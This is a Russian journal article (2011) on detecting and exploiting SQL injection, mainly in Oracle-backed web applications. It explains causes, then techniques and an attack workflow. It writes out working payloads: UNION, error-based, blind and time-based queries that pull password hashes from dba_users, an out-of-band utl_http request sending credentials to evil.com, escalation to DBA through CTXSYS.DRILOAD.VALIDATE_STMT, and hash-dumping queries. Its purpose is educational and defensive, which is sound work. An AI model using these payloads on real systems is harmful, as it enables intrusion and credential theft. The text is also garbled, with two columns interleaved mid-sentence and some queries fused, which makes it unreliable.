Выявление и эксплуатация SQL инъекций в приложениях
←
→
Транскрипция содержимого страницы
Если ваш браузер не отображает страницу правильно, пожалуйста, читайте содержимое страницы ниже
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
Выявление и эксплуатация
SQLинъекций в приложениях
М. Егоров, руководитель проектов SQLинъекция – это атака, при которой злоумышленником производится
НПО «Эшелон» вставка вредоносного кода в строки, передающиеся на сервер СУБД для
mail@npoechelon.ru
синтаксического анализа и выполнения. Успешная реализация данной атаки
позволяет обойти систему безопасности приложения и получить доступ
к конфиденциальной информации, которая содержится в БД, а также к функ
циональным возможностям СУБД и в некоторых случаях – доступ к операци
онной системе сервера, на котором функционирует СУБД. Как следствие,
злоумышленник получает доступ к конфиденциальной информации, содер
жащейся в БД, и доступ к командам операционной системы сервера СУБД,
тем самым делая его плацдармом для последующих атак других серверов
и приложений, расположенных в корпоративной сети организации.
Как правило, SQLинъекции рассматривают применительно к webприложе
ниям, на самом деле данным уязвимостям подвержены любые клиентсервер
ные и сервисориентированные приложения, работающие с СУБД.
ствие SQL-инъекций, неуклонно рас- Процесс, изображенный на рис. 1,
тет с каждым годом. Многие разра- описывает взаимодействие между
ботчики и специалисты в области компонентами web-приложения
информационной безопасности не- и состоит из следующих шагов.
дооценивают серьезность данной 1. Пользователь отправляет за-
уязвимости, тем самым создавая се- прос http://localhost:8080/
рьезную угрозу для безопасности ин- catalog/show.jsp?name=Product 1 на
формационных систем. К сожале- сервер приложений. В качестве
нию, то, о чем обычно пишут в лите- строкового параметра name переда-
ратуре по данной тематике, касается ется значение Product 1.
Первые сведения о SQL-инъек- лишь наиболее простых и триви- 2. Сервер приложений динами-
циях появились в открытом досту- альных примеров реализации SQL- чески формирует SQL-запрос SE-
пе в статье «NT Web Technology Vul- инъекций. LECT * FROM products WHERE name
nerabilities», опубликованной еще Ведущая организация в области LIKE ‘Products 1%’ ORDER BY name.
в 1998 году. С 2000 года данную тех- информационной безопасности – 3. Из таблицы products извлека-
нику начали широко применять ки- SANS Institute – в отчете «2010 CWE/ ются данные о товарах, наименова-
бер-преступники для взлома интер- SANS Top 25 Most Dangerous Pro- ние которых начинается с Product 1,
нет-сайтов. На сегодняшний день су- gramming Errors» заслуженно прису- результат упорядочивается по на-
ществует большое количество техник дила SQL-инъекции второе место именованию товара. Данные переда-
эксплуатации SQL-инъекций для в рейтинге наиболее критичных уяз- ются серверу приложений.
различных СУБД и приложений на вимостей. 4. Сервер приложений форми-
их основе. рует результат, который отобража-
Несмотря на то, что данной уяз- ется пользователю.
вимости более десяти лет, количес- 1. Пример из практики Если в качестве параметра пере-
тво случаев, связанных с несанкци- Рассмотрим приложение, состо- дать строку Product 1’ AND 1=2 --,
онированным доступом к информа- ящее из трех компонентов: пользо- то на сервер СУБД поступит SQL-
ционным системам и утечкой кон- вателя, сервера приложений и сер- запрос SELECT * FROM products
фиденциальной информации вслед- вера управления базами данных. WHERE name LIKE ‘Products 1’ AND
2 Защита информации. INSIDE № 2’2011ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
1=2 --%’ ORDER BY name, причем часть %’ ORDER BY
name закоментирована и не будет исполняться. Запрос
не вернет ни одной строки, так как условие 1 = 2 явля-
ется ложным.
Процесс, изображенный на рис. 2, описывает взаимо-
действие между компонентами приложения при SQL-
инъекции.
Приведенный выше пример показал, как пользова-
тель, модифицируя передаваемый строковый параметр, Рис. 1. Нормальный процесс работы приложения
заставил СУБД выполнять дополнительные команды.
2. Пять основных причин
возникновения SQLинъекций
Рассмотрим основные причины возникновения SQL-
инъекций в приложениях, работающих с СУБД.
Рис. 2. Процесс работы приложения при SQL-инъекции
2.1. Динамическое построение SQLзапросов
Данный прием широко используют разработчики то запрос, передаваемый СУБД, может быть модифици-
приложений. Ниже преведен пример динамического рован злоумышленником с целью получения конфиден-
SQL-запроса на языке Java. циальной информации из БД.
// Создание динамического запроса 2.4. Некорректная обработка типов
String query = “SELECT * FROM products WHERE name LIKE ‘ ” Многие разработчики приложений полагают, что
+ request.getParameter(“name”) + “%’ ORDER BY name”; фильтрация одинарных кавычек (‘) спасает от SQL-
инъекций. Символ одинарной кавычки (‘) обозначает
Динамические SQL-запросы популярны среди раз- конец строки в SQL-запросе и отделяет данные от ис-
работчиков, так как они просты и удобны в использо- полняемых команд. Фильтрацией (‘) можно защитить-
вании. К сожалению, динамические SQL-запросы явля- ся от SQL-инъекций только в строковых параметрах.
ются причиной SQL-инъекций. Если входные данные При этом сохраняются инъекции в параметрах дру-
не достаточно проверяются и не кодируются приложе- гих типов, например в числовых.
нием в момент передачи запроса СУБД на выполнение,
тогда при определенных условиях они могут быть ин- // инъекция в числовом параметре
терпретированы СУБД как дополнительные команды. 1 UNION SELECT 1, username, password FROM dba_users
Многие СУБД поддерживают параметризованные
запросы. Параметры (в СУБД Oracle они называются
bind variables) передаются до момента выполнения за- 2.5. Небезопасная конфигурация СУБД
проса СУБД. Параметризованные запросы позволяют Написание безопасного кода, безусловно, важная за-
безопасно работать с СУБД, так как передаваемые дан- дача для разработчиков приложений. Можно сущест-
ные никогда не будут интерпретированы как команды венно сократить ущерб от SQL-инъекции, правильно
и выполнены. настроив параметры безопасности СУБД.
В СУБД Oracle пользователи DBSNMP, OE, OUTLN
2.2. Некорректная обработка исключений создаются при установке СУБД и имеют стандартные
Большинство приложений некорректно обрабатыва- пароли, а также обладают критичными с точки зрения
ют исключительные ситуации, возникающие при рабо- безопасности привилегиями. Помимо учетных записей
те с СУБД, и отображают сообщение о возникшем ис- со стандартными паролями в Oracle есть большое ко-
ключении пользователю. В результате злоумышленник личество уязвимых PL/SQL-процедур, часть из которых
сможет узнать детали реализации приложения (язык доступна для выполнения непривилегированным поль-
разработки приложения, тип и версию СУБД), а также зователям.
извлечь конфиденциальную информацию из БД. Еще одной серьезной проблемой является наличие
избыточных привилегий у учетной записи, используя
2.3. Некорректная обработка специальных символов которую сервер приложений работает с СУБД. Как пра-
В СУБД Oracle символы (‘), (.), (,), (||), (/*),(*/), (“) яв- вило, разработчики приложений не являются специа-
ляются специальными. Так, символ одинарной кавыч- листами по СУБД и тем более специалистами по инфор-
ки (‘) интерпретируется в SQL-запросе как начало/ко- мационной безопасности. В связи с этим они не всегда
нец строки, а символ комментария (*/) обозначает ко- уделяют внимание вопросам безопасной работы при-
нец комментария. ложения с СУБД и назначают учетной записи избыточ-
Если приложение некорректно обрабатывает специ- ные (в некоторых случаях – максимальные) привилегии
альные символы, содержащиеся во входных параметрах, (например, роль DBA). В результате успешной эксплу-
Защита информации. INSIDE № 2’2011 3ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
атации SQL-инъекции злоумышленник получает до- Таким образом, количество аргументов в SQL-за-
ступ ко всей конфиденциальной информации, содер- просе равно трем. На практике применяется не линей-
жащейся в БД. ный, а бинарный поиск. Напомним, что время подбо-
ра количества аргументов при бинарном поиске равно
O(log(n)), где n – количество аргументов в запросе.
3. Техники, применяемые при эксплуатации После определения количества аргументов перебором
SQLинъекций определяется для каких аргументов задан constraint NOT
Рассмотрим основные способы и техники экспула- NULL и тип этих аргументов (числовой, строковый или
тации SQL-инъекций, при помощи которых злоумыш- дата). В качестве остальных аргументов передается null.
ленник может получить доступ к содержимому БД. Рас-
сматриваемые техники являются универсальными, так возникло исключение
как применимы для СУБД Oracle, MySQL и MS SQL UNION SELECT ‘test’, null, null FROM dual
Server, широко используемых при создании web-при- запрос выполнен
ложений, и работают вне зависимости от используемо- UNION SELECT null, ‘test’, null FROM dual
го языка разработки: ASP, Java или PHP.
Далее будут рассмотрены следующие техники экс- После определения количества аргументов и опре-
плуатации уязвимости: деления не нулевых аргументов (NOT NULL), а также их
● Union SQL-инъекция. типов (числовой, строковый и дата), в качестве второ-
● Error-based SQL-инъекция. го параметра злоумышленник передает нужный SQL-за-
● Blind SQL-инъекция. прос, который должен возвращать строку. Для получе-
● Time-based SQL-инъекция. ния хэша пароля пользователя SYS из таблицы dba_users
● Out-bound SQL-инъекция. можно передать следующее выражение в качестве уяз-
вимого строкового параметра.
3.1. Union SQLинъекция
Использование данной техники основано на приме- ‘ UNION SELECT null, (SELECT username || ‘’ || password
нении оператора UNION, который позволяет объеде- FROM dba_users WHERE username = ‘SYS’), null FROM dual
нить результаты выполнения двух или более запросов
SELECT. Использование данной техники заключается
в добавлении нужного запроса SELECT при помощи 3.2. Errorbased SQLинъекция
оператора UNION к первоначальному запросу. Данная техника используется, когда приложение не-
Для корректности результирующего запроса, полу- корректно обрабатывает исключения, возникающие при
ченного при помощи оператора UNION, необходимо, работе с СУБД, и сообщение о возникшем исключении
чтобы у двух выражений SELECT совпадало количество отображается пользователю. В СУБД Oracle есть уязви-
и тип аргументов. В противном случае СУБД сгенериру- мые функции, которые отображают в сообщении о воз-
ет исключение. В зависимости от логики работы прило- никшем исключении часть входных параметров. К таким
жения либо будет выведено сообщение о возникшем при функциям относятся XMLType() и ctxsys.drithsx.sn().
работе с СУБД исключением, либо страница отобразит- Используя данные функции, злоумышленник мо-
ся пользователю некорректно. жет построчно считывать информацию из таблицы БД
Первоначально злоумышлениик перебором опреде- (например, хэши паролей из таблицы dba_users).
ляет количество аргументов в SQL-запросе. Универсаль- При использовании функции XMLType() SQL-инъек-
ным методом определения количества аргументов яв- ция выглядит следующим образом.
ляется использование оператора сортировки ORDER BY.
При несовпадении количества аргументов СУБД Oracle извлечение первой строки из dba_users
выдает следующее сообщение. ‘ AND (1)=UPPER(XMLType(‘’))
извлечение второй строки из dba_users
Для определения количества аргументов в качестве ‘ AND (1)=UPPER(XMLType(‘’))
…
запрос выполнен
‘ ORDER BY 1 При использовании функции ctxsys.drithsx.sn() SQL-
запрос выполнен инъекция выглядит следующим образом.
‘ ORDER BY 2
запрос выполнен извлечение первой строки из dba_users
‘ ORDER BY 3 ‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT
возникло исключение username || ’‘ || password cred, rownum FROM dba_users)
‘ ORDER BY 4 WHERE rn= 1))
4 Защита информации. INSIDE № 2’2011ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
извлечение второй строки из dba_users Для ускорения посимвольного извлечения можно
‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT использовать бинарный поиск.
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 2)) 3.4. Timebased SQLинъекция
… Данная техника похожа на Blind SQL-инъекцию. Так-
же составляется SQL-выражение, но анализируется не
возвращаемый результат, а время отклика сервера СУБД.
3.3. Blind SQLинъекция При ложном значении SQL-выражения время отклика
В случае если нельзя использовать Union и Error- незначительно, а при истинном значеннии составляет-
based SQL-инъекцию: результат выполнения запроса не ся несколько секунд. Используя данную технику можно
отображается пользователю либо приложение коррект- проверять логические условия, например наличие роли
но обрабатывет исключения. Однако если при этом, мо- DBA у текущего пользователя, а также посимвольно из-
дифицируя запрос, можно влиять на логику работы влекать данные из таблиц БД. Time-based SQL-инъекция
приложения: при определенных входных данных неко- выполняется медленне чем Blind SQL-инъекции.
торые страницы отображаются неправильно или запрос Для внесения задержки обычно используется следу-
возвращает только часть информации. В этом случе ющий SQL-запрос.
можно использовать технику Blind SQL.
Составляется SQL-выражение, которое при истин- задержка в несколько секунд
ном значении не нарушает логику работы приложения. SELECT count(*) FROM all_objects, all_objects
При ложном же значении возникает аномальное пове-
дение в работе web-приложения: страницы неправиль- Таким образом, для посимвольного извлечения
но отображаются либо возвращается только часть дан- данных из таблиц БД можно использовать следующую
ных. С целью проверки логических условий в качестве инъекцию.
подобного SQL-выражения можно использовать следу-
ющее. извлечение первого символа
Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’,
// INJECTION – SQLзапрос, который возвращает значение, (select count(*) from all_objects, all_objects),0) from dual)
либо null Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’,
// null – страница некорректно отображается (select count(*) from all_objects, all_objects),0) from dual)
AND NVL(INJECTION,0) != 0 Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’,
(select count(*) from all_objects, all_objects),0) from dual)
Для того чтобы выяснить, обладает ли текущий поль- …
зователь правами роли DBA, можно использовать сле- извлечение второго символа
дующую инъекцию. Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’,
(select count(*) from all_objects, all_objects),0) from dual)
если страница корректно отобразилась, пользователю Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’,
назначена роль DBA (select count(*) from all_objects, all_objects),0) from dual)
Product 1‘ AND NVL((SELECT LENGTH(username) FROM Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’,
user_role_privs WHERE granted_role = ‘DBA’),0) != 0 (select count(*) from all_objects, all_objects),0) from dual)
…
Для посимвольного извлечения данных из таблиц
БД можно использовать следующую инъекцию Как и в предыдущем случае, для ускорения посимволь-
ного извлечения можно использовать бинарный поиск.
извлечение первого символа
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM 3.5. Outbound SQLинъекция
dual)),1,1)),0) = 65 В случае если ни одна из вышеперечисленных тех-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ник эксплуатации SQL-инъекций не применима мож-
dual)),1,1)),0) = 66 но воспользоваться Out-bound техникой. Для примене-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ния данной техники необходим удаленный сервер, ко-
dual)),1,1)),0) = 67 торый находится под контролем злоумышленника,
… либо доступ к директории на сервере СУБД. Техника за-
извлечение второго символа ключается в следующем: злоумышленник направляет
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM вывод результата SQL-запроса на удаленный сервер, ис-
dual)),2,1)),0) = 65 пользуя протоколы DNS, HTTP, SMTP, или осуществ-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM ляет запись в файл, который расположен в доступной
dual)),2,1)),0) = 66 для злоумышленника директории на сервере СУБД.
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM Используя пакет utl_http злоумышленник может на-
dual)),2,1)),0) = 67 править данные из таблиц БД на удаленный сервер сле-
… дующим образом.
Защита информации. INSIDE № 2’2011 5ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
результата выполнения запроса передается ● параметров HTTP-заголовка (таких как Referer и User-
на http://evil.com Agent).
‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev После определения входных параметров необходи-
il.com/’||username||””||password)) FROM dba.users мо определить корректность обработки их web-прило-
жением. Модифицируя входные параметры, необходи-
Функция Sum() необходима для получения всех за- мо добиться возникновения исключения в web-прило-
писей из таблицы dba_users. Стоит отметить, что в не- жении, результатом которого будет сообщение о воз-
которых версиях Oracle в стандартной конфигурации никшем исключении либо некорректно отображенная
пакет utl_http доступен на выполнение роли PUBLIC. страница или ответ, содержащий неполные (избыточ-
ные) данные.
Для тестирования страницы на наличие SQL-инъекции
4. Процесс обнаружения и эксплуатации можно выполнить последовательно следующие запросы.
SQLинъекций
Мы рассмотрели причины возникновения SQL-инъек- страница отображается корректно
ций и рассмотрели техники, которые могут быть исполь- http://localhost:8080/catalog/show.jsp?name=Product 1
зованы при эксплуатации уязвимостей. Теперь рассмо-
трим весь процесс эксплуатации SQL-инъекции, начи- не выполнена сортировка данных
ная с обнаружения уязвимого параметра и заканчивая из- http://localhost:8080/catalog/show.jsp?name=Product 1’
влечением требуемой информации из БД. AND 1=1
На рис. 3 представлен процесс эксплуатации SQL-
инъекции, который состоит из пяти основных шагов: данные на странице не отображаются, т. к. условие
● выявления SQL-инъекции; 1 = 2 – ложно
● определения типа и версии СУБД; http://localhost:8080/catalog/show.jsp?name=Product 1’
● определения имени пользователя и его привилегий; AND 1=2
● повышения привилегий;
● эксплуатации уязвимости. В результате, параметр name на страницe show.jsp яв-
ляется уязвимым.
4.1. Выявление SQLинъекции Для определения SQL-инъекций широко применя-
Первым шагом в процессе выявления SQL-инъек- ются инструментальные средства для автоматического
ции является определение способов передачи данных тестирования web-приложений на наличие уязвимос-
в web-приложение: тей: HP WebInspect, HP Scrawlr, IBM Rational AppScan,
● параметров, передаваемых при помощи GET- или SQLiX, Paros Proxy.
POST-методов; Инструментальные средства автоматически выпол-
● значений, содержащихся в Cookie; няют следующие проверки для передаваемых строко-
вых параметров.
value – строковое значение при котором исключение
не возникает
‘
value’ OR
value’ OR 5=5 OR ‘s’=’o
value’ AND 5=5 OR ‘s’=’o
value’ OR 5=0 OR ‘s’=’o
value’ AND 5=0 OR ‘s’=’o
Для числовых параметров выполняют следующие
проверки.
value – числовое значение при котором исключение
не возникает
0+value
value AND 5=5
value AND 5=0
value OR 5=5 OR 4=0
value OR 5=0 OR 4=0
В качестве способов передачи параметров можно за-
дать GET- и POST-методы, Cookie, параметры HTTP-за-
Рис. 3. Процесс эксплуатации SQL-инъекции головка.
6 Защита информации. INSIDE № 2’2011ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
4.2. Определение типа и версии СУБД ● DBA;
Без знания типа и версии СУБД невозможно эксплу- ● JAVASYSPRIV;
атировать SQL-инъекцию и корректно сформировать ● IMP/EXP_FULL_DATABASE;
запрос, который вернет нужную информацию из БД. ● SELECT/EXPORT/DELETE_CATALOG_ROLE.
Первое, что необходимо сделать – определить ис- Данный запрос возвращает назначенные текущему
пользуемую для построения web-приложения инфра- пользователю системные привилегии.
структуру и технологию. Например, если применяется
технология ASP .Net и IIS, то, скорее всего, в качестве извлечение назначенных системных привелегий
СУБД используется Microsoft SQL Server. Конечно, пол- SELECT privilege || ‘‘ || admin_option FROM user_sys_privs
ностью полагаться на данную информацию нельзя.
Если web-приложение выводит сообщение о возник- Критичными с точки зрения безопасности являют-
шем исключении при работе с СУБД, можно легко опре- ся следующие системные привилегии:
делить тип СУБД. Сообщение об ошибке, начинающееся ● GRANT ANY OBJECT/PRIVILEGE/ROLE;
со слова ORA, говорит об использовании СУБД Oracle. ● SELECT ANY DICTIONARY;
● SELECT ANY TABLE;
ORA01773: may not specify column datatypes in this ● INSERT/UPDATE/DELETE ANY TABLE;
CREATE TABLE ● EXECUTE ANY PROCEDURE;
● CREATE/ALTER ANY PROCEDURE;
Поскольку каждая СУБД по разному обрабатывает ● CREATE LIBRARY;
конкатенацию строк, по этому признаку можно судить ● CREATE ANY DIRECTORY;
о типе СУБД. ● CREATE/ALTER ANY VIEW;
● CREATY ANY TRIGGER;
если запрос обработан корректно, мы имеем дело с Oracle ● CREATE ANY/EXTERNAL JOB.
‘some’ || ‘thing’ Учетная запись, которая используется сервером при-
CONCAT(‘some’, ‘thing’) ложений для работы с СУБД, не должна обладать указан-
ными выше системными привилегиями и ролями.
Ситуация с обработкой числовых значений выгля-
дит аналогичным образом. 4.4. Повышение привилегий
Повышение привилегий необходимо, если злоумыш-
если запрос обработан корректно, мы имеем дело с Oracle ленник не обладает нужными привилегиями для эксплу-
BITAND(1,1) атации SQL-инъекции и извлечения нужных данных из
таблиц БД.
Для определения версии СУБД необходимо извлечь Одним из способов повышения привилегий явля-
баннер при помощи следующего SQL-запроса. ется эксплуатация PL/SQL-инъекций в хранимых про-
цедурах СУБД. PL/SQL-инъекция – это изменение хо-
извлечение баннера да выполнения PL/SQL-процедуры/функции/триггера
SELECT banner FROM v$version WHERE rownum = 1 путем внедрения команд в доступные входные параме-
тры. В стандартной поставке СУБД Oracle существует
Данный запрос можно использовать в качестве по- большое количество пакетов и процедур (для статисти-
лезной нагрузки одного из пяти методов эксплуатации ки: в СУБД Oracle 10g 16 500 процедур в 1300 пакетах),
SQL-инъекции, которые были рассмотрены выше. поэтому шанс обнаружить среди них уязвимую проце-
дуру достаточно высок. Часть из этих процедур доступ-
4.3. Определение имени пользователя и привилегий ны непривелегированным пользователям СУБД и вы-
Определить имя текущего пользователя, назначен- полняются от имени их владельца – привелегирован-
ные роли и системные привилегии можно, используя ного пользователя SYS или CTXSYS.
один из пяти методов эксплуатации SQL-инъекции. Одна из наиболее известных процедур – VALI-
Этот запрос возвращает имя текущего пользователя. DATE_STMT из пакета DRILOAD, который принажле-
жит пользователю CTXSYS. Данная процедура прини-
извлечение имени текущего пользователя мает в качестве входного параметра PL/SQL-код и пе-
SELECT user FROM dual редает его на выполнение. Для повышения привилегий
до DBA можно использовать следующий запрос.
Данный запрос возвращает назначенные текущему
пользователю роли. // повышаем привилегии до DBA
EXEC CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO app’);
извлечение назначенных ролей
SELECT granted_role || ‘—‘ || admin_option FROM user_role_privs Таким образом, если подобная процедура доступна
роли PUBLIC или у текущего пользователя есть приви-
Критичными с точки зрения безопасности являют- легия EXECUTE_ANY_PROCEDURE, он сможет повы-
ся следующие роли: сить свои привилегии до DBA.
Защита информации. INSIDE № 2’2011 7ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
4.5. Эксплуатация уязвимости Для извлечения имен и типов столбцов можно вос-
На данном шаге у злоумышленника есть информа- пользоваться следующим запросом.
ция о том, какая СУБД используется и какие техники
эксплутации SQL-инъекции возможно применять. В за- SELECT owner||’.’||table_name||’:’||column_name||’:’||data_type
висимости от назначенных текущему пользователю ро- FROM all_tab_columns ORDER BY table_name,column_id
лей и привилегий злоумышленник может попытаться
осуществить одно из следующих действий: В результате мы имеем полную структуру таблиц БД,
● извлечь хэши паролей пользователей СУБД; и можно извлекать нужную информацию.
● получить структуру БД и данные;
● выполнить команды ОС. 4.5.3. Выполнение команд ОС
Для выполнения команд ОС злоумышленнику необ-
4.5.1. Извлечение хэшей паролей ходим прямой доступ к СУБД (возможность подключе-
В СУБД Oracle хэши паролей храняться в таблице ния с использованием утилит SQL PLUS или TOAD for
SYS.USER$, кроме того они содержатся в представлении Oracle) с максимальными правами либо требуется нали-
DBA_USERS. Для расчета хэша в Oracle 10g и более ран- чие PL/SQL-инъекций. Выполнение команд ОС с исполь-
них версиях используется алгоритм, основанный на DES. зованием только SQL-инъекций невозможно.
В Oracle 11g применяется более защищенный алгоритм Существует достаточно способов для выполнения
на основе SHA1, и хэш пароля не доступен из представ- команд ОС через СУБД, основные из них следующие:
ления DBA_USERS. По умолчанию в Oracle 11g в табли- ● выполнение команд ОС, используя уязвимости пе-
це SYS.USER$ доступны два варианта хэша. реполнения буфера;
Для извлечения хэша пароля в Oracle 10g и более ран- ● выполнение команд ОС, используя файл SPNC_COM-
них версиях можно использовать следующий запрос. MANDS;
● выполнение команд ОС, используя Java-процедуры;
извлечение DESхэша в Oracle 0 AND LENGTH(password) = 16 на с правами администратора ОС – в этом случае воз-
можность запускать команды ОС позволяет получить
извлечение SHA1хэша в Oracle 11g административные права на сервере.
SELECT username || SUBSTR(spare4,3,40) hash ||
SUBSTR(spare4,43,20) salt FROM sys.user$ WHERE type#>0
AND LENGTH(spare4) = 62 Заключение
SQL-инъекции были и остаются наиболее критичны-
Для подбора пароля по значению хэша можно вос- ми уязвимостями приложений. В результате успешной
пользоваться утилитами Checkpwd, Cain & Abel, orabf, реализации SQL-инъекции злоумышленник может обой-
woraauthbf и GSAuditor. ти логику работы приложения, получить доступ к конфи-
денциальной информации, содержащейся в СУБД, а при
4.5.2. Получение структуры БД и данных определенных условиях даже получить полный доступ
Для извлечения данных из таблицы БД необходимо к серверу, на котором функционирует СУБД. Если при
обладать следующей информацией: этом учесть, что отдельные приложения интегрированы
● владельц схемы, в которой находится таблица; друг с другом внутри ИС компании, получение НСД к уяз-
● имя таблицы; вимому приложению позволит злоумышленнику полу-
● количество записей в таблице; чить контроль над всей информационной системой. ■
● количество столбцов;
● имена и типы столбцов. ЛИТЕРАТУРА
Указанную информацию можно извлечень из пред- 1. Justin C. SQL Injection Attacks and Defense. – Syngress Date, 2009.
ставлений СУБД ORACLE all_tables и all_tab_columns. 2. Поляков А. М. Безопасность Oracle глазами аудитора: нападение
Следующий запрос извлекает информацию о владель- и защита. – М.: ДМК Пресс, 2010.
це схемы, имени таблицы, количестве записей и коли- 3. Litchfield D, Anley C., Heasman J, Grindlay B. The Database Hacker’s
честве столбцов. Handbook: Defending Database Servers. – Wiley Date, 2005.
4. Евтеев Д. Учимся на ошибках. Методика проведения error-based
SELECT b.owner||’.’||b.table_name||’[’||count(*)||’]=’num_rows SQL-Injection // Хакер. 2010, № 135.
FROM all_tab_columns a, all_tables b WHERE a.table_name = 5. Марков А. С., Миронов С. В., Цирлов В. Л. Выявление уязвимостей
b.table_name GROUP BY b.owner,b.table_name,num_rows в программном коде // Открытые системы. 2005, № 12.
8 Защита информации. INSIDE № 2’2011Вы также можете почитать